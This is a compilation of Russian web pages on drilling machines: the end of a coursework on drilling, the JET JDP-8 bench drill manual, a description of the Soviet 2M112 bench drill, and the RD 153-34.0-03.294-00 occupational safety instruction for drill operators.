· снятие фасок в верхней части отверстий, формирование цилиндрических и конических углублений – зенкование;

· обработка отверстий при помощи цековки;

· нарезание внутренней резьбы;

· обработка отверстий при помощи резца – растачивание;

· финишная обработка отверстий при помощи шариковых или роликовых инструментов – выглаживание;

· обработка деталей при помощи фрезерного инструмента (формирование пазов и др.).

4. Список использованной литературы:

1. Н. И. Макиенко «Слесарное дело»

2. Марки стали и сплавов

3. Описание фланцев

4. Сверление отверстий по кондуктору http://tepka.ru/Praktikum_po_slesarnomu_delu/8.5.html

5. Кондуктор для сверления

6. Устройство и особенности эксплуатации сверлильных станковhttp://met-all.org/oborudovanie/stanki-sverlilnye/sverlilnyj-stanok-ustrojstvo-nastolnyj.html

Содержание

1. Содержание задания

2. Конструкция приспособления

2.1. Требования к приспособлению

2.2. Описание конструкции приспособления и его работа

2.3. Технологический процесс изготовления фланца

2.4. Обоснование выбора материала и типа заготовок

3. Обработка заготовок на сверлильных станках

3.1. Характеристика метода обработки сверлением

3.3.Устройство и особенности эксплуатации сверлильных станков

4. Список использованной литературы

188.64.169.166 © studopedia.ru Не является автором материалов, которые размещены. Но предоставляет возможность бесплатного использования. Есть нарушение авторского права? Напишите нам | Обратная связь.

Отключите adBlock!
и обновите страницу (F5)

очень нужно

ИНСТРУКЦИЯ ПО ЭКСПЛУАТАЦИИ НАСТОЛЬНЫЙ СВЕРЛИЛЬНЫЙ СТАНОК JDP-8

Транскрипт

1 ИНСТРУКЦИЯ ПО ЭКСПЛУАТАЦИИ НАСТОЛЬНЫЙ СВЕРЛИЛЬНЫЙ СТАНОК JDP-8 ВМХ Тул Груп АГ (WMH Tool Group AG) Банштрассе 24, CH-8603 Шверценбах Настольный сверлильный станок JDP-8 1. ОБЩИЕ УКАЗАНИЯ Станок предназначен для сверления изделий из дерева и подобных материалов, а также твердых полимерных материалов. Обработка других материалов недопустима, или может производиться только после консультации с представителями компании. Наряду с указаниями по технике безопасности, содержащимися в инструкции по эксплуатации, и особыми предписаниями Вашей страны необходимо принимать во внимание общепринятые технические правила работы на деревообрабатывающих станках. Каждое отклонение от этих правил при использовании рассматривается как неправильное применение и продавец не несет ответственность за повреждения, произошедшие в результате этого. В станке нельзя производить никаких технических изменений. Ответственность несет только пользователь. Использовать станок только в технически исправном состоянии. Станок разрешается эксплуатировать лицам, которые ознакомлены с его работой, техническим обслуживанием и предупреждены о возможных опасностях. Соединительный кабель (или удлинитель) от автомата защиты и от источника электропитания до станка должен быть не менее 3×1,5мм² (желательно медный, трёхжильный, с сечением каждой жилы не менее 1,5 мм 2 ). Данный станок является машиной для индивидуального применения, т. е. по своим конструктивным особенностям и техническим характеристикам станок не предназначен для использования на производстве. Если Вы при распаковке обнаружили повреждения вследствие транспортировки, немедленно сообщите об этом Вашему продавцу. Не запускайте станок в работу! 1

2 2. КОМПЛЕКТ ПОСТАВКИ 1. Сверлильная головка полностью 2. Сверлильный стол 3. Стойка и направляющая стола 4. Цоколь стойки мм патрон с ключом 6. Рычаг подачи 3 шт. 7. Зажимная ручка высоты стола 8. Ящичек для инструментов 9. Инструменты 10. Принадлежности для монтажа 11. Инструкция по эксплуатации 12. Список запчастей 3. ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ JDP-8 Напряжение питания. 230 В

1/N/PE 50 Гц Потребляемая мощность Вт Рабочий ток. 1,5 A Проводка (H07RN-F). 3×1,5мм² Предохранитель. 10A Число оборотов (5 положений) об/мин Ход шпинделя мм Посадка шпинделя. B 16 Патрон с зубчатым венцом мм Расстояние от стойки до патрона мм Размеры стола x 195 (макс 280) мм Поворот стола. +/- 90 Габаритные размеры (ДхШхВ) х200х730 (мм) Масса кг *Примечание: Спецификация данной инструкции является общей информацией. Данные технические характеристики были актуальны на момент издания руководства по эксплуатации. Компания WMH Tool Group оставляет за собой право на изменение конструкции и комплектации оборудования без уведомления потребителя. Настройка, регулировка, наладка и техническое обслуживание оборудования осуществляются покупателем Звуковая эмиссия Шумовой порог ( по EN 11202): холостой ход 69,6 дб(a). Указанные величины являются порогом эмиссии, но не являются порогом для безопасной работы. Они должны дать возможность пользователю самому оценить опасности и риски. 4. ОБЩИЕ УКАЗАНИЯ ПО ТЕХНИКЕ БЕЗОПАСНОСТИ Техника безопасности включает в себя также соблюдение инструкции по эксплуатации и техническому обслуживанию, предоставленные изготовителем. Всегда храните инструкцию, предохраняя ее от грязи и влажности, передавайте дальнейшим пользователям. Ежедневно перед включением станка проверяйте функционирование необходимых защитных устройств. Установленные дефекты станка или защитных устройств необходимо незамедлительно устранить с помощью уполномоченных для этого специалистов. Не включайте в таких случаях станок, выключите его из эл. сети. Следите за тем, чтобы станок был надежно закреплен на ровной поверхности. Обеспечьте хорошее освещение. Применяйте необходимые согласно предписаниям средства личной защиты. Надевайте плотно прилегающую одежду, снимайте украшения, кольца и наручные часы. Если у Вас длинные волосы, надевайте защитную сетку для волос или головной убор. Для работы не надевайте перчаток. Устанавливайте станок таким образом, чтобы оставалось достаточно места для обслуживания станка и для расположения заготовок. Не допускайте к станку посторонних, особенно детей. Перед началом работы проверьте надежность закрепления сверлильной головки и сверлильного стола. Перед началом работы снимите с машины ключ патрона и другие инструменты. Перед работой удалите из заготовки гвозди и других посторонние предметы. Не применяйте проволочные щетки, фрезы, круглопильные инструменты и шлифовальные диски. Никогда не используйте станок, если возникли проблемы с выключателем. 2

3 Никогда не работайте с открытым защитным устройством патрона или открытым защитным устройством ремня. Во время работы станка не производите никаких перестановок сверлильной головки и сверлильного стола. Держите руки на достаточном расстоянии от движущихся частей станка, принимайте во внимание, что Ваши руки или заготовка могут соскользнуть. Никогда не держите заготовку в руках, без опоры о стол, кроме полировальных работ. Сверлите заготовку только в том случае, если она надежно располагается на рабочем столе. Надежно закрепляйте заготовку от захвата движущимися частями. Применяйте зажимные устройства, струбцины, тиски и т.д., чтобы зафиксировать заготовку. Никогда не удерживайте затовку просто руками. По возможности используйте стойку в качестве опоры заготовки от проворачивания. Если центр тяжести заготовки находится за пределами стола, закрепите ту ее часть, которая находится на столе, или зафиксируйте ее с помощью роликовой подставки. Если заготовка слишком коротка, или если стол находится под наклоном, закрепляйте заготовку на столе. Используйте для этого пазы стола или установленные сверху тиски. Тиски всегда плотно прикручивайте к столу. Работайте только хорошо заточенными принадлежностями. Никогда не хватайтесь за движущиеся части станка. Стружку и части заготовок удаляйте только при выключенном станке. Держите рабочее место свободным от посторонних предметов. Не оставляйте без присмотра включенный станок. Всегда выключайте его, прежде чем покинете рабочее место. Не используйте станок вблизи горючих жидкостей или газов. Следите за соблюдением мер по противопожарной безопасности, например наличие огнетушителя на рабочем месте. Не используйте станок во влажных помещениях, не оставляйте его под дождем. Работы по электрике станка должны выполняться только электрики. Следите за тем, чтобы электропроводка не препятствовала рабочему процессу и, через нее нельзя было споткнуться. Удлинительный кабель всегда отматывайте от барабана полностью. Немедленно заменяйте поврежденный сетевой кабель. Все работы по установке, монтажу, чистке должны производиться только после выключения станка из эл. сети Внимание опасности Даже при правильном использовании станка возникают приведенные ниже опасности. Опасность ранения вращающимся сверлом. Опасность ранения отлетевшими частями заготовок. Опасность от шума и пыли. Обязательно надевайте средства личной защиты (защита глаз, ушей и дыхательных путей). Опасность удара током, при несоответствующей прокладке кабеля. 3

4 5. ОПИСАНИЕ СТАНКА Монтаж стойки Установите стойку (B, Fig. 3) на цоколь станка (C). 3 шестигранных винта (D) хорошо затяните. Рис. 1 A. защитная крышка ремня B. рычаг подачи сверла C. выключатель света D. в/выключатель мотора E. упор ограничения глубины сверления F. защита сверлильного патрона G. сверлильный стол H. цоколь станка J. ящичек для инструментов K. крепление для навешивания мотора L. зажимная ручка высоты стола Рис. 3 Монтаж сверлильного стола Монтируйте сверлильный стол (A) к стойке и плотно закрепите его. Монтаж сверлильной головки Установите сверлильную головку на стойку. Разместите сверлильную головку параллельно цоколю станка. Плотно затяните боковые резьбовые штифты. Монтаж рычагов подачи сверла Установите 3 подающие рукоятки (B, рис.2) во втулки. Монтаж защиты сверлильного патрона Прежде, чем монтировать патрон, установите защиту патрона (A, Рис. 4) на сверлильную пиноль (B). Плотно затяните зажимной винт (C). Рис ТРАНСПОРТИРОВКА И ПУСК В ЭКС- ПЛУАТАЦИЮ 6.1. Транспортировка и установка Станок разработан для эксплуатации в закрытых помещениях и должен прочно размещаться на твердой и ровной поверхности. Если необходимо, станок можно прикрутить. Для удобства упаковки станок собран не полностью Монтаж Общие указания Перед проведением монтажно-наладочных работ отключите станок от эл. сети! Удалите защитную смазку от ржавчины с помощью мягких растворителей. Установите станок на плоскую поверхность. 4 Монтаж патрона Рис. 4 Закрепите сверлильный стол под головкой шпинделя на расстоянии 120 мм. Положите кусок ненужного дерева на сверлильный стол. С помощью тряпки очистите конус шпинделя и конус патрона. Важно Эти поверхности должны быть очищены от жира и масла, иначе патрон можно снова упасть. Наденьте патрон на конус шпинделя.

5 Откройте сверльный патрон на максимальный размер сверла. Опустите патрон до заготовки вниз. Правильно проведенная подача сверла надежно закрепляет патрон на шпинделе. Замена сверлильного патрона Отсоедините сетевой штекер из розетки! Установите 2 клина (например, 2 большие отвертки) друг против друга между шпинделем и патроном. Нажимайте одновременно с двух сторон на рычаги, пока патрон не упадет. Установка упора ограничения глубины сверления Для сверления большого количества отверстий одинаковой глубины применяйте упор ограничения глубины. Опустите шпиндель с установленным сверлом на желаемую глубину сверления. Установите установочную гайку упора глубины (E, рис. 1) на кулачок упора. Сверло будет останавливаться на этой высоте. Установка сверлильного стола Никогда не проводите установку на включенном станке. Ослабьте шестигранный винт (D, рис. 5), чтобы повернуть стол. Внимание Лишь слегка ослабьте шестигранный винт, иначе вся поверхность стола может упасть вниз. Рис. 5 Снова затяните шестигранный винт. Ослабьте барашковый винт (B), чтобы при необходимости вынуть расширения стола (A). Установка защиты сверлильного патрона Никогда не проводите установку на включенном станке. После ослабления винта (A, рис. 6) прозрачную защиту патрона можно опустить вниз. Рис. 6 5 Никогда не работайте с открытым защитным прозрачным кожухом патрона или открытым защитным кожухом ремня. Защиту патрона можно поднять вверх для замены сверла. Изменение числа оборотов Отсоедините сетевой штекер из розетки! Открутите предохранительный винт и откройте защитную крышку ремня. Табличка расположения ремня на шкивах и числа оборотов находится на внутренней стороне крышки защитного кожуха ремня. Ориентируйтесь по ней каждый раз при изменении числа оборотов. Проведите изменение числа оборотов Открутите крепление навешивания мотора (K, рис. 2). Ослабьте ремень. Переставьте ремень в соответствии с необходимым числом оборотов. Натяните ремень и зафиксируйте крепление мотора. Необходимое натяжение ремня достигнуто, если при нажатии большим пальцем середина ремня отклоняется примерно на 15 мм. Закройте защитный кожух ремня и закрепите с помощью винта. Никогда не работайте с открытым защитным устройством патрона или открытым защитным устройством ремня. Рекомедуемое число оборотов для 10 мм HSS сверла: дерево: об/мин пластик: об/мин алюминий: об/мин латунь: об/мин чугун: об/мин сталь (C15): об/мин сталь (C45): об/мин нержавеющая сталь: 300 об/мин Общее правило Чем меньше диаметр сверла, тем выше число оборотов. Металл сверлится при низких оборотах, при необходимости используется масло для резки Подключение к сети Сетевое подключение и применяемые удлинители должны соответствовать нормам. Напряжение сети и частота должны совпадать с данными на типовой табличке станка. Предохранитель сети должен составлять 10 A. Подключение и ремонт должны проводить только специалисты-электрики Ввод в эксплуатацию Станок включается с помощью зеленой кнопки на основном выключателе: и выключается нажатием красной кнопки. Лампочка станка включается автоматически при включении станка и может быть выключена с помощью выключателя (C, рис.1).

6 7. РАБОТА СТАНКА Установите высоту стола и упор ограничения глубины таким образом, чтобы Вы не сверлили в сверлильный стол. Ненужный кусок дерева в качестве опоры защищает как сверло, так и сверлильный стол. Закрепляйте заготовку от захвата сверлом. Прикрепляйте заготовку к столу или устанавливайте струбцину. Струбцину всегда прикручивайте к столу. Держите руки на достаточном расстоянии от движущихся частей станка, принимайте во внимание, что Ваши руки или заготовка могут соскользнуть. Выбирайте силу подачи таким образом, чтобы сверло двигалось быстро. Слишком медленное вращение шпинделя ведет к преждевременному износу сверла и прожогам заготовки, слишком быстрое вращение может привести к заклиниванию мотора или излому сверла. Стружку и части заготовок удаляйте только при выключенном станке. Внимание Всегда соблюдайте правила по техники безопасности и указания инструкции. Не применяйте проволочные щетки, фрезы, круглопильные инструменты и шлифовальные диски на этом станке. Никогда не работайте с открытым защитным устройством патрона или открытым защитным устройством ремня. Никогда не обрабатывайте магний — высокая опасность возгорания! 8. ТЕХНИЧЕСКОЕ ОБСЛУЖИВАНИЕ Общие указания Перед проведением работ по техническому обслуживанию, чистке и ремонту отключите станок от эл. сети! Подключение и ремонт электрооборудования должны проводиться только специалистами-электриками. Затем снова установите все защитные устройства. Учитывайте, что строгальные ножи, обрезиненные валы привода движения заготовки, плоские, поликлиновые, клиновые и другие ремни, а также цепи, используемые в конструкции станка, относятся к деталям быстроизнашивающимся (расходные материалы) и требуют периодической замены. Гарантия на такие детали не распространяется. Защитные кожуха, отдельные детали из пластика и алюминия, используемые в конструкции станка, выполняют предохранительные функции. Замене по гарантии такие детали не подлежат. Поврежденные защитные устройства немедленно заменяйте. Смазка Регулярно смазывайте небольшим количеством смазки: направляющие стола и стойки приводной вал шпинделя зубчатое сцепление шпинделя и пиноли Чистка Регулярно чистите станок. Лампочка станка Дефектную галогенновую лампочку заменяйте 12 В, 5 В (Jet номер заказа: JDP8-062). 9. УСТРАНЕНИЕ НЕИСПРАВНОСТЕЙ мотор не включается *нет тока проверьте предохранитель сети; *мотор, выключатель или кабель дефектны обратиться в сервис; *патрон выпадает грязь или жир на конусе патрона поверхности прилегания шпинделя и патрона должны быть свободны от жира; станок вибрирует *неправильное натяжение ремня проконтролируйте натяжение ремня; *шкив ремня мотора ослаблен плотно затяните резьбовой штифт; *затруднено движение пиноли шпинделя смажьте пиноль шпинделя; *шкив шпиндельного ремня ослаблен плотно затяните гайку шпинделя; *сверло затупилось заточите сверло; сверло накаливается *неправильно выбрано число оборотов снизить число оборотов; *сверло засорилось стружкой чаще проворачивайте сверло в обратную сторону; *подача сверла слишком мала увеличьте подачу; сверлильное отверстие некруглое *сверло отшлифовано асимметрично правильно заточите сверло; *сверлильное отверстие смещено используйте центрирующее сверло; *сверло погнуто используйте новое сверло; *сверло неправильно закреплено правильно закрепите сверло; лампа не горит *галогеновая лампочка дефектна вставьте новую галогеновую лампочку. 10. ПОСТАВЛЯЕМЫЕ ПРИНАДЛЕЖНОСТИ см. JET-прайс-лист. 6

Настольно-сверлильный станок 2М112

Выдержавший несколько модернизаций советский вертикальный настольно-сверлильный станок модели 2М112, имеющий координатный стол, до сих пор широко востребован и для нужд домашней мастерской, и в небольших ремонтных предприятиях. Независимо от производителя (а модель 2М112 выпускалась в Литве заводом Komunaras, и в г. Киров, ныне Вятка – местным станкостроительным заводом), данный агрегат сохраняет достаточную функциональность и удобство.

Высокая надежность станка и хорошие технические характеристики обеспечиваются крайне простой конструкцией. В конструкции применено всего 6 подшипников, а шкивы для смены числа оборотов, хоть и громоздки и неудобны, позволили исключить удобную, но не надежную шестеренчатую коробку переключения оборотов. Подшипники станка 2М112 установлены в узле, в котором находится шпиндель, который иначе именуют пиноль, и благодаря которому осуществляется вертикальное перемещение инструмента. Еще один подшипник находится в узле подъема шпиндельной бабки. Малое количество смазываемых узлов облегчает обслуживание настольно-сверлильного станка 2М112.

Ввиду простоты, надежности и низкой стоимости станок хорошо зарекомендовал себя в учебных мастерских.

Технические характеристики станка 2М112

Расшифровка названия станка следующая. Первая цифра 2 обозначает, что рассматриваемое оборудование относится к сверлильному, а буква М означает, что базовая модель (её условное обозначение 2112) подвергалась модернизации. Первая из единичек в обозначении указывает тип агрегата, а две последние цифры – наибольший размер круглого в плане отверстия, которое можно получить на данном оборудовании.

Настольно-сверлильный станок 2М112 имеет технические характеристики, свойственные всем устройствам сверлильных станков подобного класса.

Таким образом, универсальный настольный вертикально сверлильный станок модели 2М112 может работать с отверстиями не более 12 мм в диаметре, причём материалом условной заготовки считается некаленая сталь 45 (для менее прочных материалов, например, алюминия, допускается и больше).

Основные технические характеристики:

  1. Вылет шпинделя – 0,19 м.
  2. Номер применённого конуса Морзе – В18.
  3. Вертикальное перемещение патрона со рабочим инструментом – 100 мм.
  4. Диапазон регулировки просвета между нижним торцом шпинделя и верхней кромки пазов на столе – 50…400 мм.
  5. Стол – координатный, рабочие размеры 200×250 мм (производятся варианты и с увеличенным по ширине столом).
  6. Количество скоростей вращения шпинделя (изменяется ступенчато) – 5, от 450 до 4500 мин -1 .
  7. Привод – электрический: мощность двигателя – 550 Вт, питающее напряжение 3 фазы 380 В.
  8. Габаритные размеры сверлильного станка 2М112 (длина×ширина×высота) – 770×370×950 мм.
  9. Вес – 120 кг.

Кинематическая схема настольно-сверлильного станка 2М112

Советские станки, изготавливаемые как на заводе Комунарас, так и на производстве в г. Киров — рассчитывались на точность операции сверления Н (обычную) по ГОСТ 8-82.

Кроме сверления, назначение оборудования заключается в том, чтобы производить нарезание резьбы. Для этого конструкция предусматривает вертикальный специальный резьбонарезной патрон.

Устройство сверлильного станка 2М112

Кинематическая схема и общий вид включают в себя следующие элементы:

  1. Электрический двигатель.
  2. Клиноременную передачу.
  3. Вертикальный кронштейн.
  4. Шпиндель, входящий в состав инструментальной головки.
  5. Рукоять передвижения инструментальной головки по кронштейну.
  6. Рукоятку подачи пиноли.
  7. Опорную плиту с координатным столом, на поверхности которого имеются Т-образные пазы.
  8. Защитный кожух, закрывающий шкив сверлильного станка 2М112.
  9. Хомут с мерной линейкой.

Настольно-сверлильный станок 2М112 без защитного кожуха

Описание работы сверлильного станка 2М112

Шпиндель сверлильного станка 2М112 может перемещаться по колонне и крепится посредством винтового зажима. Пиноль станка может подниматься до высоты 400 мм над поверхностью рабочего стола, позволяя обрабатывать заготовки в широком диапазоне размеров.

Перед пуском двигателя обрабатываемая деталь закрепляется зажимами, находящимися в Т-образных пазах, которые имеет координатного стол 2М112. Производитель сверлильного станка 2М112 в качестве дополнительного оборудования предлагает тиски, которые устанавливаются на станине в пазы координатного стола.

Шпиндель проверяется на рабочую скорость вращения, которая зависит от твёрдости детали, после чего вручную устанавливаются вылет инструментальной головки и её положение относительно координатного стола. В патрон устанавливается сверло (или метчик) необходимого диаметра. Ход (особенно, если он – большой) проверяется при неработающем приводе, после чего включается электродвигатель, и с деталью производится необходимая технологическая операция, сверление или нарезание резьбы.

Электрическая схема настольно-сверлильного станка 2М112

Регулировку высоты шпинделя для сверлильного станка 2М112 облегчает возвратная пружина. При наличии дополнительной тумбы в конструкции вылет для настольно-сверлильного станка Комунарас 2М112 можно искусственно увеличить, не теряя при этом в устойчивости оборудования. Набор сменных шкивов позволяет простым способом и оперативно работать с иной скоростью вращения.

Конус Морзе позволяет быстро сменить патрон для сверлильного станка 2М112 на иной рабочий инструмент с аналогичным креплением.

Удобство работы повышается благодаря тому, что рабочий стол неподвижен, а вращается пиноль, а точнее весь шпиндельный узел вокруг неподвижной опоры.

У станка 2М112 имеется подсветка, расположенная в шпиндельном узле.

Производители сверлильного агрегата 2М112 предусматривает его обязательное защитное заземление при работе для повышения безопасности. Подробные указания по заземлению содержит паспорт агрегата.

Скачать паспорт (инструкцию по эксплуатации) настольно-сверлильного станка 2М112

Обслуживание

Все работы по обслуживанию универсального настольно-сверлильного станка 2М112 заключаются в контроле натяжения ремня шкива и смазке отдельных узлов устройства. При нормальной нагрузке чаще всего (раз в 2 дня) смазку и очистку требует шпиндель (пиноль), особенно шлицевые поверхности. Раз в неделю смазывается поверхность вертикальной колонны и регулировочная гайка. Раз в полгода требует замены смазки подшипники шпинделя и колонки. При частой смене количества оборотов нуждается в смазке регулятор натяжения ремня и фиксатор защитного кожуха шпинделя. Подшипники смазываются консистентной смазкой типа ЦИАТИМ или Литол.

Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.

РД 153-34.0-03.294-00 Типовая инструкция по охране труда при работе на сверлильных станках

Типовая инструкция по охране труда при работе на сверлильных станках
РД 153-34.0-03.294-00

Москва
«Издательство НЦ ЭНАС»
2002

Е.Г. Гологорский, И.М. Погожев, Б.М. Узелков

Департамент генеральной инспекции по эксплуатации электрических станций и сетей РАО «ЕЭС России»

Первый заместитель Председателя Правления О.В. Бритвин

Дата введения 01.07.2000 г.

На основании данных типовых инструкций предприятиями и организациями разрабатываются и утверждаются инструкции с учетом местных условий.

Департамент генеральной инспекции по эксплуатации электрических станций и сетей РАО «ЕЭС России»
14 марта 2000 г. ВРК «Электропрофсоюз»
15 марта 2000 г.

РАО «ЕЭС России»
Первый заместитель Председателя Правления О.В. Бритвин
17 марта 2000 г.

ВВЕДЕНИЕ

Работа на сверлильных станках может сопровождаться наличием ряда вредных и опасных производственных факторов, в том числе:

— мелкая стружка и аэрозоли смазочно-охлаждающей жидкости;

— отлетающие кусочки металла;

— высокая температура поверхности обрабатываемых деталей и инструмента;

— повышенный уровень вибрации;

— движущиеся машины и механизмы, передвигающиеся изделия, заготовки, материалы;

— недостаточная освещенность рабочей зоны, наличие прямой и отраженной блескости, повышенная пульсация светового потока.

При разработке типовой инструкции использованы следующие стандарты системы безопасности труда: ГОСТ 12.0.003-74 Опасные и вредные производственные факторы. Классификация; ГОСТ 12.1.004-91 Пожарная безопасность. Общие требования; ГОСТ 12.3.002-75 Процессы производственные. Общие требования безопасности; ГОСТ 12.3.025-80 Обработка металлов резанием. Требования безопасности и др.

Сверловщики при производстве работ согласно имеющейся квалификации обязаны выполнять требования безопасности, изложенные в настоящей инструкции.

В случае невыполнения положений настоящей инструкции работники могут быть привлечены к дисциплинарной, административной, уголовной и материальной ответственности в соответствии с законодательством Российской Федерации в зависимости от тяжести последствий.

1. ОБЩИЕ ТРЕБОВАНИЯ БЕЗОПАСНОСТИ

1.1. К самостоятельной работе на сверлильных станках допускается обученный персонал, прошедший медицинский осмотр, инструктаж по охране труда на рабочем месте, ознакомленный с правилами пожарной безопасности и усвоивший безопасные приемы работы.

1.2. Сверловщику разрешается работать только на станках, к которым он допущен, и выполнять работу, которая поручена ему администрацией цеха.

1.3. Персонал, обслуживающий сверлильные станки, должен иметь: костюм хлопчатобумажный или полукомбинезон, очки защитные, ботинки юфтевые.

1.4. Если пол скользкий (облит маслом, эмульсией), рабочий обязан потребовать, чтобы его посыпали опилками, или сделать это самому.

1.5. Сверловщику запрещается:

— работать при отсутствии на полу под ногами деревянной решетки по длине станка, исключающей попадание обуви между рейками и обеспечивающей свободное прохождение стружки;

— работать на станке с оборванным заземляющим проводом, а также при отсутствии или неисправности блокировочных устройств;

— стоять и проходить под поднятым грузом;

— проходить в местах, не предназначенных для прохода людей;

— заходить без разрешения за ограждения технологического оборудования;

— снимать ограждения опасных зон работающего оборудования;

— мыть руки в эмульсии, масле, керосине и вытирать их обтирочными концами, загрязненными стружкой.

1.6. О любом несчастном случае немедленно поставить в известность мастера и обратиться в медицинский пункт.

2. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ ПЕРЕД НАЧАЛОМ РАБОТ

2.1. Перед началом работы сверловщик обязан:

— принять станок от сменщика: проверить, хорошо ли убраны станок и рабочее место. Не приступать к работе до устранения выявленных недостатков;

— надеть спецодежду, застегнуть рукава и куртку, надеть головной убор, проверить наличие очков;

— отрегулировать местное освещение так, чтобы рабочая зона была достаточно освещена и свет не слепил глаза;

— проверить наличие смазки станка. При смазке пользоваться только специальными приспособлениями;

— проверить на холостом ходу исправность станка.

2.2. Сверловщику запрещается:

— работать в тапочках, сандалиях, босоножках и т.п.;

— применять неисправный и неправильно заточенный инструмент и приспособления;

— прикасаться к токоведущим частям электрооборудования, открывать дверцы электрошкафов. В случае необходимости следует обращаться к электромонтеру.

3. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ ВО ВРЕМЯ РАБОТЫ

3.1. Во время работы сверловщик обязан:

— надежно и правильно закрепить обрабатываемую деталь, чтобы была исключена возможность ее вылета;

— обрабатываемые детали, тиски и приспособления прочно и надежно закреплять на столе или фундаментной плите;

-установку и снятие тяжелых деталей и приспособлений производить только с помощью грузоподъемных средств;

— правильно отцентрировать и надежно закрепить режущий инструмент;

— режущий инструмент подводить к обрабатываемой детали плавно, без удара;

— при ручной подаче сверла и при сверлении на проход или мелкими сверлами не нажимать сильно на рычаг;

— при смене сверла или патрона пользоваться деревянной выколоткой;

— при сверлении отверстий в вязких металлах применять спиральные сверла со стружкодробящими канавками;

— удалять стружку с обрабатываемой детали и стола только тогда, когда инструмент остановлен;

— не допускать уборщицу к уборке станка во время его работы;

— при сверлении хрупких металлов, если нет на станке защитных устройств от стружки, надеть защитные очки или предохранительный щиток из прозрачного материала;

— в случае заедания инструмента, поломки хвостовика сверла, метчика или другого инструмента выключить станок;

— для удаления стружки от станка использовать специальные крючки и щетки-сметки. Запрещается удалять стружку непосредственно руками и инструментами;

— при возникновении вибрации остановить станок. Проверить крепление сверла, принять меры к устранению вибрации;

— перед остановом станка обязательно отвести инструмент от обрабатываемой детали;

— остановить станок и выключить электрооборудование в следующих случаях:

а) уходя от станка даже на короткое время;

б) при временном прекращении работы;

в) при перерыве в подаче электроэнергии;

г) при уборке, смазке, чистке станка;

д) при обнаружении какой-либо неисправности;

е) при подтягивании болтов, гаек и других крепежных деталей.

3.2. Во время работы на станке сверловщику запрещается:

— применять патроны и приспособления с выступающими стопорными винтами и болтами;

— удерживать и поправлять просверливаемую деталь руками:

— крепить деталь, приспособление или инструмент на ходу станка;

— тормозить вращение шпинделя руками;

— пользоваться местным освещением напряжением выше 42 В;

— подтягивать гайки, болты и другие соединительные предметы при работающем станке;

— охлаждать инструмент с помощью тряпок и концов;

— использовать станину станка для укладки каких-либо предметов и инструмента. Производить керновку детали на столе станка;

— брать и подавать через станок какие-либо предметы во время работы станка;

— применять прокладки между зевом ключа и гранями гаек;

— пользоваться инструментом с изношенными конусными хвостовиками;

— работать на станке в рукавицах или перчатках, а также с забинтованными пальцами без резиновых напальчников;

— обдувать сжатым воздухом из шланга обрабатываемую деталь;

— при установке детали на станок грузоподъемным краном находиться между деталью и станком;

— опираться на станок во время его работы и позволять это делать другим;

— во время работы наклонять голову близко к шпинделю и режущему инструменту;

— оставлять ключи, приспособления и другой инструмент на работающем станке.

4. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ В АВАРИЙНЫХ СИТУАЦИЯХ

4.1. В случае поломки станка, отказа в работе пульта управления отключить станок и сообщить об этом мастеру.

4.2. В случае загорания ветоши, оборудования или возникновения пожара немедленно отключить станок, сообщить о случившемся другим работникам цеха и приступить к ликвидации очага загорания.

4.3. В случае появления аварийной ситуации, опасности для своего здоровья или здоровья окружающих людей отключить станок, покинуть опасную зону и сообщить об опасности непосредственному руководителю.

5. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ ПО ОКОНЧАНИИ РАБОТЫ

После окончания работ сверловщик обязан:

— выключить станок и электродвигатель;

— привести в порядок рабочее место:

а) убрать со станка стружку и металлическую пыль;

б) очистить станок от грязи;

в) аккуратно сложить заготовки и инструмент на отведенное место;

г) смазать трущиеся части станка;

— сдать станок сменщику или мастеру и сообщить о всех неисправностях станка;

— снять спецодежду и повесить в шкаф. Вымыть лицо и руки теплой водой с мылом или принять душ.

1. ОБЩИЕ ТРЕБОВАНИЯ БЕЗОПАСНОСТИ

2. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ ПЕРЕД НАЧАЛОМ РАБОТ

3. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ ВО ВРЕМЯ РАБОТЫ

4. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ В АВАРИЙНЫХ СИТУАЦИЯХ

5. ТРЕБОВАНИЯ БЕЗОПАСНОСТИ ПО ОКОНЧАНИИ РАБОТЫ

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
